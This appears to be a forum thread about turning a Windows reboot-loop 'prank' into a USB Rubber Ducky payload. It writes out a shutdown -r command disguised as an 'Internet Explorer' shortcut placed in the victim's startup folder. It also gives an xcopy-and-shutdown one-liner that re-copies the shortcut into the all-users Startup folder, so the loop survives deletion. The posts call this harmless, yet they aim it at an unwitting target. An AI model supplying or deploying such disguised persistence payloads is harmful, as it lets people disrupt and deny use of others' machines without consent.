There's a pretty funny prank that many of you may already know about, that would be cool to turn into a USB Rubber Ducky prank attack. The concept is based upon creating an infinite boot loop in the target windows system. The physical access method for creating the attack without a ducky is described on this YouTube video. Essentially the command sequence: shutdown -r -t 10 -c "Your Message Here"

Is created as a shortcut and saved into the startup folder so that when the victim turns off and then restarts their machine, it goes through an annoying reboot loop. It was hidden in the video as a shortcut named Internet Explorer and having the icon to match....clever.

The prank is harmless since simply holding down the SHIFT key can cease implementation of startup folder actions to allow the victim to clear the shortcut script from their STARTUP folder.

Being able to use the power of the Mighty Rubber Ducky to quickly automate the prank on a target would be cool. Having the Duck do the prank via Powershell would be nice. That's the concept...I'm off to make a stab at my first ducky payload. If you beat me to it, please share your results.

Here is what I knocked out in about 5 min. Delete post if you must.

REM *** Select next button. ***

REM *** Type in the shortcut name. ***

If you need something that will set the icon without user interaction, you could hijack the internet explorer icon that is already put on the desktop.

Ok, this script appears to work. May have to tweak the delays depending on the processing power of your system. If you do find yourself in a situation where you need to tweak the delays, break it up into procedures, and execute them one at a time. The first command window is procedure 1, making the shortcut is procedure 2, the second command window is procedure 3, and selecting the icon is procedure 4.

If you do shoot yourself in the foot with this script, boot into safe mode, and delete the file in the startup folder.

And since the shutdown command is just batch the following should be able to perpetuate the problem even after the shortcut is deleted from the start up folder.

xcopy /Y "Internet Explorer*.lnk" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & shutdown -r -t 10 -c "You have been owned!"

have not tried it yet, but I have no reason to think it shouldn't work. So every time the user clicks on the shortcut it should copy to the startup folder.
